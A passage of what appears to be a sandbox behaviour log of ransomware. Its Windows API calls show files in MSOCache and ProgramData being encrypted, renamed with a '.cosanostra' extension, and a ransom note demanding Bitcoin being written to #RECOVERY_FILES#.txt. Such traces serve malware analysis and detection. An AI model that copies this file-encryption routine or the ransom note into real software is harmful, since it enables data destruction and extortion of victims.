Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 79 [0078.240] StrStrW (lpFirst="osetupui.dll", lpSrch=".txt") returned 0x0 [0078.240] ReadFile (in: hFile=0x138, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x26ffc8c*=0x2800, lpOverlapped=0x0) returned 1 [0078.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.321] WriteFile (in: hFile=0x138, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x26ffc8c*=0x2800, lpOverlapped=0x0) returned 1 [0078.322] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.322] WriteFile (in: hFile=0x138, lpBuffer=0x26ffccc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x26ffccc*, lpNumberOfBytesWritten=0x26ffc8c*=0x4, lpOverlapped=0x0) returned 1 [0078.340] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc8c*=0x30, lpOverlapped=0x0) returned 1 [0078.340] CloseHandle (hObject=0x138) returned 1 [0078.353] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.cosanostra") returned 90 [0078.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.cosanostra")) returned 1 [0078.354] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcd0 | out: pbBuffer=0x26ffcd0) returned 1 [0078.354] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcc8*=0x30) returned 1 [0078.354] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0078.354] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 80 [0078.354] StrStrW (lpFirst="OfficeMUI.msi", lpSrch=".txt") returned 0x0 [0078.354] ReadFile (in: hFile=0x138, lpBuffer=0x27d830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesRead=0x26ffc8c*=0x2800, lpOverlapped=0x0) returned 1 [0078.402] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.402] WriteFile (in: hFile=0x138, lpBuffer=0x27d830*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesWritten=0x26ffc8c*=0x2800, lpOverlapped=0x0) returned 1 [0078.402] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.402] WriteFile (in: hFile=0x138, lpBuffer=0x26ffccc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x26ffccc*, lpNumberOfBytesWritten=0x26ffc8c*=0x4, lpOverlapped=0x0) returned 1 [0078.467] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc8c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc8c*=0x30, lpOverlapped=0x0) returned 1 [0078.467] CloseHandle (hObject=0x138) returned 1 [0078.739] wnsprintfW (in: pszDest=0x29e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.cosanostra") returned 91 [0078.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.cosanostra")) returned 1 [0078.742] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcc8 | out: pbBuffer=0x26ffcc8) returned 1 [0078.742] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcc0*=0x30) returned 1 [0078.742] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0078.743] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 79 [0078.743] StrStrW (lpFirst="dwtrig20.exe", lpSrch=".txt") returned 0x0 [0078.743] ReadFile (in: hFile=0x138, lpBuffer=0x2828c0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x2828c0*, lpNumberOfBytesRead=0x26ffc84*=0x2800, lpOverlapped=0x0) returned 1 [0078.952] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.952] WriteFile (in: hFile=0x138, lpBuffer=0x2828c0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x2828c0*, lpNumberOfBytesWritten=0x26ffc84*=0x2800, lpOverlapped=0x0) returned 1 [0078.953] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.953] WriteFile (in: hFile=0x138, lpBuffer=0x26ffcc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x26ffcc4*, lpNumberOfBytesWritten=0x26ffc84*=0x4, lpOverlapped=0x0) returned 1 [0079.154] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc84*=0x30, lpOverlapped=0x0) returned 1 [0079.154] CloseHandle (hObject=0x138) returned 1 [0079.220] wnsprintfW (in: pszDest=0x28e718, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.cosanostra") returned 90 [0079.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.cosanostra")) returned 1 [0079.221] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcc8 | out: pbBuffer=0x26ffcc8) returned 1 [0079.221] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcc0*=0x30) returned 1 [0079.221] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0079.300] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 79 [0079.300] StrStrW (lpFirst="PrjPrrWW.cab", lpSrch=".txt") returned 0x0 [0079.300] ReadFile (in: hFile=0x138, lpBuffer=0x2ae830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x2ae830*, lpNumberOfBytesRead=0x26ffc84*=0x2800, lpOverlapped=0x0) returned 1 [0079.450] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.450] WriteFile (in: hFile=0x138, lpBuffer=0x2ae830*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x2ae830*, lpNumberOfBytesWritten=0x26ffc84*=0x2800, lpOverlapped=0x0) returned 1 [0079.450] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.450] WriteFile (in: hFile=0x138, lpBuffer=0x26ffcc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x26ffcc4*, lpNumberOfBytesWritten=0x26ffc84*=0x4, lpOverlapped=0x0) returned 1 [0079.547] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc84, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc84*=0x30, lpOverlapped=0x0) returned 1 [0079.547] CloseHandle (hObject=0x138) returned 1 [0080.396] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.cosanostra") returned 90 [0080.396] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.cosanostra")) returned 1 [0080.396] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcc0 | out: pbBuffer=0x26ffcc0) returned 1 [0080.396] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcb8*=0x30) returned 1 [0080.396] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0080.397] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned 57 [0080.397] StrStrW (lpFirst="qmgr0.dat", lpSrch=".txt") returned 0x0 [0080.397] ReadFile (in: hFile=0x138, lpBuffer=0x2c3660, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x2c3660*, lpNumberOfBytesRead=0x26ffc7c*=0x2800, lpOverlapped=0x0) returned 1 [0080.439] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.439] WriteFile (in: hFile=0x138, lpBuffer=0x2c3660*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x2c3660*, lpNumberOfBytesWritten=0x26ffc7c*=0x2800, lpOverlapped=0x0) returned 1 [0080.440] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.440] WriteFile (in: hFile=0x138, lpBuffer=0x26ffcbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x26ffcbc*, lpNumberOfBytesWritten=0x26ffc7c*=0x4, lpOverlapped=0x0) returned 1 [0080.441] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc7c*=0x30, lpOverlapped=0x0) returned 1 [0080.441] CloseHandle (hObject=0x138) returned 1 [0081.062] wnsprintfW (in: pszDest=0x2c5f80, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat.cosanostra") returned 68 [0081.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat.cosanostra" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat.cosanostra")) returned 1 [0081.063] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcc0 | out: pbBuffer=0x26ffcc0) returned 1 [0081.063] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcb8*=0x30) returned 1 [0081.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.066] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned 73 [0081.066] StrStrW (lpFirst="XLINTL32.REST.trx_dll", lpSrch=".txt") returned 0x0 [0081.066] ReadFile (in: hFile=0x154, lpBuffer=0x2b09f8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x2b09f8*, lpNumberOfBytesRead=0x26ffc7c*=0x2800, lpOverlapped=0x0) returned 1 [0081.139] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.139] WriteFile (in: hFile=0x154, lpBuffer=0x2b09f8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x2b09f8*, lpNumberOfBytesWritten=0x26ffc7c*=0x2800, lpOverlapped=0x0) returned 1 [0081.139] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.139] WriteFile (in: hFile=0x154, lpBuffer=0x26ffcbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x26ffcbc*, lpNumberOfBytesWritten=0x26ffc7c*=0x4, lpOverlapped=0x0) returned 1 [0081.238] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc7c*=0x30, lpOverlapped=0x0) returned 1 [0081.239] CloseHandle (hObject=0x154) returned 1 [0081.317] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.cosanostra") returned 84 [0081.317] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.cosanostra" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll.cosanostra")) returned 1 [0081.317] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.318] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.318] WriteFile (in: hFile=0x154, lpBuffer=0x26ffb57*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffd18, lpOverlapped=0x0 | out: lpBuffer=0x26ffb57*, lpNumberOfBytesWritten=0x26ffd18*=0x1bf, lpOverlapped=0x0) returned 1 [0081.319] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.319] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffd18, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffd18*=0x2ac, lpOverlapped=0x0) returned 1 [0081.319] CloseHandle (hObject=0x154) returned 1 [0081.319] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcb8 | out: pbBuffer=0x26ffcb8) returned 1 [0081.319] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcb0*=0x30) returned 1 [0081.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.319] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned 59 [0081.319] StrStrW (lpFirst="user.bmp", lpSrch=".txt") returned 0x0 [0081.319] ReadFile (in: hFile=0x154, lpBuffer=0x287138, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc74, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesRead=0x26ffc74*=0x2800, lpOverlapped=0x0) returned 1 [0081.320] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.320] WriteFile (in: hFile=0x154, lpBuffer=0x287138*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc74, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesWritten=0x26ffc74*=0x2800, lpOverlapped=0x0) returned 1 [0081.320] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.320] WriteFile (in: hFile=0x154, lpBuffer=0x26ffcb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc74, lpOverlapped=0x0 | out: lpBuffer=0x26ffcb4*, lpNumberOfBytesWritten=0x26ffc74*=0x4, lpOverlapped=0x0) returned 1 [0081.320] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc74, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc74*=0x30, lpOverlapped=0x0) returned 1 [0081.321] CloseHandle (hObject=0x154) returned 1 [0081.322] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.cosanostra") returned 70 [0081.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.cosanostra" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.cosanostra")) returned 1 [0081.323] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcb0 | out: pbBuffer=0x26ffcb0) returned 1 [0081.323] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffca8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffca8*=0x30) returned 1 [0081.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.323] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned 60 [0081.323] StrStrW (lpFirst="guest.bmp", lpSrch=".txt") returned 0x0 [0081.323] ReadFile (in: hFile=0x154, lpBuffer=0x287138, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc6c, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesRead=0x26ffc6c*=0x2800, lpOverlapped=0x0) returned 1 [0081.367] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.367] WriteFile (in: hFile=0x154, lpBuffer=0x287138*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc6c, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesWritten=0x26ffc6c*=0x2800, lpOverlapped=0x0) returned 1 [0081.368] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.368] WriteFile (in: hFile=0x154, lpBuffer=0x26ffcac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc6c, lpOverlapped=0x0 | out: lpBuffer=0x26ffcac*, lpNumberOfBytesWritten=0x26ffc6c*=0x4, lpOverlapped=0x0) returned 1 [0081.393] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc6c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc6c*=0x30, lpOverlapped=0x0) returned 1 [0081.393] CloseHandle (hObject=0x154) returned 1 [0081.395] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.cosanostra") returned 71 [0081.395] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.cosanostra" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.cosanostra")) returned 1 [0081.396] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 